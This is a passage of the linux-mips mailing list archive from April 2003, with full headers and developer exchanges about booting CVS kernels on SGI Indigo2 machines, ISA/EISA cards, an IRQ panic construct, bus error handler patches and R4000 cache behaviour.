> see from dmesg at the end of this mail CPU used in your machine is the
> same. If kernel I provided doesn't boot for you I'd like to ask you for
> help with debugging (kernel was build from cvs updated at 8:30 CEST)
> 

Wow, this booted.  Several people I talked to thought it was originally 
a serial console issue.  Judging by the several times I've chosen to 
build a kernel, it seems R4400 cache gets broken quite often.  I'll run 
a cvs sync now and try to build my own kernel, since this appears to be 
built from recent code.  Your kernel lacked a few things gentoo requires 
to boot, but it at least proves I'm not going insane over here.



> This is known bug, but unfortunately I have not enough RAM to meet it...

A known bug?  Interesting.  I mentioned it many moons ago in #mipslinux, 
and Ralf seemed curious about it, but he said he looked in the kernel 
where the memory was detected and said he didn't see anything wrong 
there.  Anything I can do to help look into this bug and possibly fix?


>>parport0: PC-style at 0x278 [PCSPP,TRISTATE,EPP]
> 
>             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> it can't work ;)

It worked fine for me with printing :)

[root@angband root]# echo "Hello World" > /dev/lp0
[root@angband root]# echo "Wow, It works" > /dev/lp0
[root@angband root]# echo "Totally Cool" > /dev/lp0

^---  All printed out on paper, although scratchy.  I need new ink 
cartridges.  Canon BJC-620

Mind you, that's an ISA Parallel Port card I dropped in.  I noticed the 
SGI's parallel port never worked, so I dug up a spare and tried it.


--Kumba


From ralf@linux-mips.net Mon Apr 14 16:55:37 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 16:55:37 +0100 (BST)
Received: from p508B5EC1.dip.t-dialin.net ([IPv6:::ffff:80.139.94.193]:59009
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225202AbTDNPzh>; Mon, 14 Apr 2003 16:55:37 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3EFtSp18708;
	Mon, 14 Apr 2003 17:55:28 +0200
Date: Mon, 14 Apr 2003 17:55:28 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: Karsten Merker <karsten@excalibur.cologne.de>,
	linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
Message-ID: <20030414175528.C9808@linux-mips.org>
References: <20030413152226.GB1968@excalibur.cologne.de> <Pine.GSO.3.96.1030414134631.24742A-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030414134631.24742A-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Mon, Apr 14, 2003 at 01:57:01PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2024
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 01:57:01PM +0200, Maciej W. Rozycki wrote:

>  I find it bogus to include <linux/smp.h> in code that has no slightest
> possibility to ever meet an SMP configuration.  I think <asm/processor.h>
> should be fixed instead.
> 
>  Following is a fix -- Ralf, I hope that's OK.

I completly agree.  Without your patch it's just a question of time until
we hit more build problems.

  Ralf

From ralf@linux-mips.net Mon Apr 14 17:01:08 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:01:09 +0100 (BST)
Received: from p508B5EC1.dip.t-dialin.net ([IPv6:::ffff:80.139.94.193]:65153
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225202AbTDNQBI>; Mon, 14 Apr 2003 17:01:08 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3EFmQF18553;
	Mon, 14 Apr 2003 17:48:26 +0200
Date: Mon, 14 Apr 2003 17:48:25 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Cc: nemoto@toshiba-tops.co.jp, linux-mips@linux-mips.org
Subject: Re: End c-tx49.c's misserable existence
Message-ID: <20030414174825.A9808@linux-mips.org>
References: <20030412163215Z8225197-1272+1264@linux-mips.org> <20030414.123514.74756574.nemoto@toshiba-tops.co.jp> <20030414055038.A29923@linux-mips.org> <20030414.152903.41628304.nemoto@toshiba-tops.co.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030414.152903.41628304.nemoto@toshiba-tops.co.jp>; from anemo@mba.ocn.ne.jp on Mon, Apr 14, 2003 at 03:29:03PM +0900
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2025
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 03:29:03PM +0900, Atsushi Nemoto wrote:

> >>>>> On Mon, 14 Apr 2003 05:50:38 +0200, Ralf Baechle <ralf@linux-mips.org> said:
> ralf> Excellent.  This should provide a good performance boost for the
> ralf> TX49 also as disabling the I-cache during the flush made the
> ralf> operation even slower than it has to be.
> 
> Thank you for quick response.
> 
> One more request.  Please enclose R4600_V1_HIT_CACHEOP_WAR and
> R4600_V2_HIT_CACHEOP_WAR with appropriate CONFIG_CPU_XXX.  I do not
> know what CPUs need this workaround... (at least TX49 does not need
> this)

I'll leave it unconditionally enabled for now because the Makefiles could
behave in undefined ways if multiple CONFIG_CPU_* options are selected
and quite a few systems support both the R4600 and other processors like
the Indy.  Another day.

  Ralf

From maz@misterjones.org Mon Apr 14 17:08:10 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:08:13 +0100 (BST)
Received: from lopsy-lu.misterjones.org ([IPv6:::ffff:62.4.18.26]:22540 "EHLO
	young-lust.wild-wind.fr.eu.org") by linux-mips.org with ESMTP
	id <S8225202AbTDNQIK>; Mon, 14 Apr 2003 17:08:10 +0100
Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian))
	id 1956OR-0006qi-00; Mon, 14 Apr 2003 18:01:15 +0200
Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian))
	id 1956Nu-0004kv-00; Mon, 14 Apr 2003 18:00:42 +0200
To: kumba@gentoo.org
Cc: linux-mips@linux-mips.org
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
	<3E9AD98B.90808@gentoo.org>
Organization: Metropolis -- Nowhere
X-Attribution: maz
Reply-to: mzyngier@freesurf.fr
From: Marc Zyngier <mzyngier@freesurf.fr>
Date: 14 Apr 2003 18:00:42 +0200
Message-ID: <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
In-Reply-To: <3E9AD98B.90808@gentoo.org>
Lines: 12
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Return-Path: <maz@misterjones.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2026
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mzyngier@freesurf.fr
Precedence: bulk
X-list: linux-mips

>>>>> "kumba" == kumba  <kumba@gentoo.org> writes:

kumba> Mind you, that's an ISA Parallel Port card I dropped in.  I
kumba> noticed the SGI's parallel port never worked, so I dug up a
kumba> spare and tried it.

So you're the first to try an ISA card on the I2. I must say I'm
quite pleased it worked ! :-)

        M.
-- 
Places change, faces change. Life is so very strange.

From ralf@linux-mips.net Mon Apr 14 17:14:33 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:14:33 +0100 (BST)
Received: from p508B5EC1.dip.t-dialin.net ([IPv6:::ffff:80.139.94.193]:11394
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225235AbTDNQOd>; Mon, 14 Apr 2003 17:14:33 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3EGELn19111;
	Mon, 14 Apr 2003 18:14:21 +0200
Date: Mon, 14 Apr 2003 18:14:21 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: linux-mips@linux-mips.org
Subject: Re: [patch] Board bus error handler clean-ups
Message-ID: <20030414181421.E9808@linux-mips.org>
References: <Pine.GSO.3.96.1030414144912.24742D-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030414144912.24742D-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Mon, Apr 14, 2003 at 03:10:02PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2027
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 03:10:02PM +0200, Maciej W. Rozycki wrote:

>  Here is a patch that replaces the current temporary hack for board bus
> error handler initializers with the proper approach allowing platforms to
> install them dynamically, similarly to timer initializers.  It also
> trivially changes the names to follow other patterns. 
> 
>  As a side effect it nukes zillions of empty functions for platforms that
> don't have extra bus error functionality. 
> 
>  OK to apply?

Yes, please apply,

  Ralf

From kumba@gentoo.org Mon Apr 14 17:15:47 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:15:48 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.115]:58957 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225235AbTDNQPh>; Mon, 14 Apr 2003 17:15:37 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout09.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HDC0033LD4KLG@mtaout09.icomcast.net> for
 linux-mips@linux-mips.org; Mon, 14 Apr 2003 12:14:44 -0400 (EDT)
Date: Mon, 14 Apr 2003 12:16:45 -0400
From: Kumba <kumba@gentoo.org>
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
In-reply-to: <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E9ADEED.7050106@gentoo.org>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
 <3E9AD98B.90808@gentoo.org> <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2028
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips


	As am I.  I've also gotten an NE2000 ISA 10mbps network card to be 
detected and work under `ifconfig', but forgot how to deal with multiple 
network cards, so I didn't actually get it hooked up to the network. 
I've got a 3com 3c597 EISA card in there at the moment, but I think it's 
cooked, since it's MAC Address reports itself as all ff's.  I'm also 
hunting for an EISA Mach32 video card to see if maybe on the offchance, 
it's possible to build a VESA Compatible framebuffer for the system. 
That will prove to be an interesting experiment.

--Kumba



Marc Zyngier wrote:
>>>>>>"kumba" == kumba  <kumba@gentoo.org> writes:
> 
> 
> kumba> Mind you, that's an ISA Parallel Port card I dropped in.  I
> kumba> noticed the SGI's parallel port never worked, so I dug up a
> kumba> spare and tried it.
> 
> So you're the first to try an ISA card on the I2. I must say I'm
> quite pleased it worked ! :-)
> 
>         M.



From kumba@gentoo.org Mon Apr 14 17:23:46 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:23:46 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.115]:48140 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225240AbTDNQXq>; Mon, 14 Apr 2003 17:23:46 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout09.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HDC003IYDI5KQ@mtaout09.icomcast.net> for
 linux-mips@linux-mips.org; Mon, 14 Apr 2003 12:22:53 -0400 (EDT)
Date: Mon, 14 Apr 2003 12:24:54 -0400
From: Kumba <kumba@gentoo.org>
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
In-reply-to: <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E9AE0D6.5060401@gentoo.org>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
 <3E9AD98B.90808@gentoo.org> <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2029
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips


	Also, forgot to mention on this topic, but while messing with ISA/EISA 
cards in the I2, I've run across some strange "hack" regarding Local IRQ 
3 on the machine.  There's a construct inside 
arch/mips/sgi-ip22/ip22-int.c in the enable_local3_irq() function that 
purposely panics the kernel if LIRQ3 is probed or used.  Any one got any 
idea why this is?  There aren't any comments in the code to explain this 
odd little construct, and removing it generates some amusing messages at 
bootup, long the lines of "Whee: Got an LIO3 irq, winging it...".  Quite 
odd if you ask me.

--Kumba


Marc Zyngier wrote:
>>>>>>"kumba" == kumba  <kumba@gentoo.org> writes:
> 
> 
> kumba> Mind you, that's an ISA Parallel Port card I dropped in.  I
> kumba> noticed the SGI's parallel port never worked, so I dug up a
> kumba> spare and tried it.
> 
> So you're the first to try an ISA card on the I2. I must say I'm
> quite pleased it worked ! :-)
> 
>         M.



From maz@misterjones.org Mon Apr 14 17:35:05 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:35:06 +0100 (BST)
Received: from lopsy-lu.misterjones.org ([IPv6:::ffff:62.4.18.26]:24332 "EHLO
	young-lust.wild-wind.fr.eu.org") by linux-mips.org with ESMTP
	id <S8225237AbTDNQfF>; Mon, 14 Apr 2003 17:35:05 +0100
Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian))
	id 1956oZ-0006sI-00; Mon, 14 Apr 2003 18:28:15 +0200
Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian))
	id 1956o1-0004la-00; Mon, 14 Apr 2003 18:27:41 +0200
To: kumba@gentoo.org
Cc: linux-mips@linux-mips.org
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
	<3E9AD98B.90808@gentoo.org> <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
	<3E9ADEED.7050106@gentoo.org>
Organization: Metropolis -- Nowhere
X-Attribution: maz
Reply-to: mzyngier@freesurf.fr
From: Marc Zyngier <mzyngier@freesurf.fr>
Date: 14 Apr 2003 18:27:41 +0200
Message-ID: <wrp65phvybm.fsf@hina.wild-wind.fr.eu.org>
In-Reply-To: <3E9ADEED.7050106@gentoo.org>
Lines: 28
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Return-Path: <maz@misterjones.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2030
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mzyngier@freesurf.fr
Precedence: bulk
X-list: linux-mips

>>>>> "kumba" == kumba  <kumba@gentoo.org> writes:

kumba> As am I.  I've also gotten an NE2000 ISA 10mbps network card to
kumba> be detected and work under `ifconfig', but forgot how to deal
kumba> with multiple network cards, so I didn't actually get it hooked
kumba> up to the network.

Very nice, indeed.

kumba> I've got a 3com 3c597 EISA card in there at the moment, but I
kumba> think it's cooked, since it's MAC Address reports itself as all
kumba> ff's.

Maybe not. 3c597 may be tricky to support, because it does
bus-mastering, which is really a no-go given the state of the current
EISA code on IP22. I'll try to do something about it when 2.5 is
running on the IP22 (if it ever runs...).

kumba> I'm also hunting for an EISA Mach32 video card to see if maybe
kumba> on the offchance, it's possible to build a VESA Compatible
kumba> framebuffer for the system. That will prove to be an
kumba> interesting experiment.

Interesting is quite an understatement... :-)

        M.
-- 
Places change, faces change. Life is so very strange.

From ladis@linux-mips.org Mon Apr 14 17:35:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:35:26 +0100 (BST)
Received: (from localhost user: 'ladis' uid#10009 fake: STDIN
	(ladis@3ffe:8260:2028:fffe::1)) by linux-mips.org
	id <S8225240AbTDNQfK>; Mon, 14 Apr 2003 17:35:10 +0100
Date: Mon, 14 Apr 2003 17:35:10 +0100
From: Ladislav Michl <ladis@linux-mips.org>
To: Kumba <kumba@gentoo.org>
Cc: linux-mips@linux-mips.org
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
Message-ID: <20030414173510.A2133@ftp.linux-mips.org>
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek> <3E9AD98B.90808@gentoo.org> <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org> <3E9AE0D6.5060401@gentoo.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E9AE0D6.5060401@gentoo.org>; from kumba@gentoo.org on Mon, Apr 14, 2003 at 12:24:54PM -0400
Return-Path: <ladis@linux-mips.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2031
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ladis@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 12:24:54PM -0400, Kumba wrote:
> 
> 	Also, forgot to mention on this topic, but while messing with ISA/EISA 
> cards in the I2, I've run across some strange "hack" regarding Local IRQ 
> 3 on the machine.  There's a construct inside 
> arch/mips/sgi-ip22/ip22-int.c in the enable_local3_irq() function that 
> purposely panics the kernel if LIRQ3 is probed or used.  Any one got any 
> idea why this is?  There aren't any comments in the code to explain this 
> odd little construct, and removing it generates some amusing messages at 
> bootup, long the lines of "Whee: Got an LIO3 irq, winging it...".  Quite 
> odd if you ask me.

Several chips used in Indy (and Indigo2) are used in much complicated machines
(not supported by linux) and SGI always designed its machines with modularity
in mind. local3_irq is another cascade where nothing is hooked on Indy, so you
can't get this irq. and if it happens there is sometning strange with our
system. there are no comments because you need to understand it before coding
and once you read documentation comments are useless ;-)

	ladis

ps. there is driver for built-in parport now by Vincent Stehle
http://vincent.stehle.free.fr/sgi/parport.php3

From jsun@mvista.com Mon Apr 14 17:37:40 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:37:41 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:57085 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225240AbTDNQhk>;
	Mon, 14 Apr 2003 17:37:40 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3EGauS15864;
	Mon, 14 Apr 2003 09:36:56 -0700
Date: Mon, 14 Apr 2003 09:36:56 -0700
From: Jun Sun <jsun@mvista.com>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: Ralf Baechle <ralf@linux-mips.org>, linux-mips@linux-mips.org,
	jsun@mvista.com
Subject: Re: [patch] Board bus error handler clean-ups
Message-ID: <20030414093656.G12846@mvista.com>
References: <Pine.GSO.3.96.1030414144912.24742D-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.GSO.3.96.1030414144912.24742D-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Mon, Apr 14, 2003 at 03:10:02PM +0200
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2032
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 03:10:02PM +0200, Maciej W. Rozycki wrote:
> Hello,
> 
>  Here is a patch that replaces the current temporary hack for board bus
> error handler initializers with the proper approach allowing platforms to
> install them dynamically, similarly to timer initializers.  It also
> trivially changes the names to follow other patterns. 
> 
>  As a side effect it nukes zillions of empty functions for platforms that
> don't have extra bus error functionality. 
> 
>  OK to apply?
> 
>   Maciej
> 
<snip>

Hew!  This patch makes me breath much better. :)  Thanks.

Jun

From macro@ds2.pg.gda.pl Mon Apr 14 17:46:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:46:26 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:34982 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225240AbTDNQqZ>; Mon, 14 Apr 2003 17:46:25 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id SAA28707;
	Mon, 14 Apr 2003 18:46:55 +0200 (MET DST)
Date: Mon, 14 Apr 2003 18:46:54 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: Re: [patch] Board bus error handler clean-ups
In-Reply-To: <20030414181421.E9808@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030414184531.24742O-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2033
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Mon, 14 Apr 2003, Ralf Baechle wrote:

> Yes, please apply,

 So in it went, together with a handler for ECC-capable DECstations (if
anyone else cares). 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From ralf@linux-mips.net Mon Apr 14 17:48:37 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:48:38 +0100 (BST)
Received: from p508B5EC1.dip.t-dialin.net ([IPv6:::ffff:80.139.94.193]:50050
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225235AbTDNQsh>; Mon, 14 Apr 2003 17:48:37 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3EGmXo19874;
	Mon, 14 Apr 2003 18:48:33 +0200
Date: Mon, 14 Apr 2003 18:48:33 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Cc: linux-mips@linux-mips.org
Subject: Re: minor c-r4k.c cleanup
Message-ID: <20030414184833.A19291@linux-mips.org>
References: <20030415.002425.74756927.anemo@mba.ocn.ne.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030415.002425.74756927.anemo@mba.ocn.ne.jp>; from anemo@mba.ocn.ne.jp on Tue, Apr 15, 2003 at 12:24:25AM +0900
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2034
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 12:24:25AM +0900, Atsushi Nemoto wrote:

> r4k_dma_cache_xxx should not flush icache ?

The dma_* functions of course don't need I-cache coherence.

> And I wonder why r4k_flush_pcache_mm (and r4k_flush_pcache_all) does
> nothing if cpu_has_dc_aliases was not true.  I'm still
> investigating...

R4000SC / R4400SC caches have the subset property.  S-cache cacheops
flush the primary caches as well and P-caches must always be a subset
of the S-cache or operation is undefined.

  Ralf

From kumba@gentoo.org Mon Apr 14 17:57:56 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:57:57 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.109]:6277 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225202AbTDNQ54>; Mon, 14 Apr 2003 17:57:56 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout11.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HDC00A1OF2IEV@mtaout11.icomcast.net> for
 linux-mips@linux-mips.org; Mon, 14 Apr 2003 12:56:42 -0400 (EDT)
Date: Mon, 14 Apr 2003 12:58:42 -0400
From: Kumba <kumba@gentoo.org>
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
In-reply-to: <20030414173510.A2133@ftp.linux-mips.org>
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E9AE8C2.50409@gentoo.org>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
 <3E9AD98B.90808@gentoo.org> <wrpbrz9vzkl.fsf@hina.wild-wind.fr.eu.org>
 <3E9AE0D6.5060401@gentoo.org> <20030414173510.A2133@ftp.linux-mips.org>
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2035
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips

Ladislav Michl wrote:
> On Mon, Apr 14, 2003 at 12:24:54PM -0400, Kumba wrote:
> 
> Several chips used in Indy (and Indigo2) are used in much complicated machines
> (not supported by linux) and SGI always designed its machines with modularity
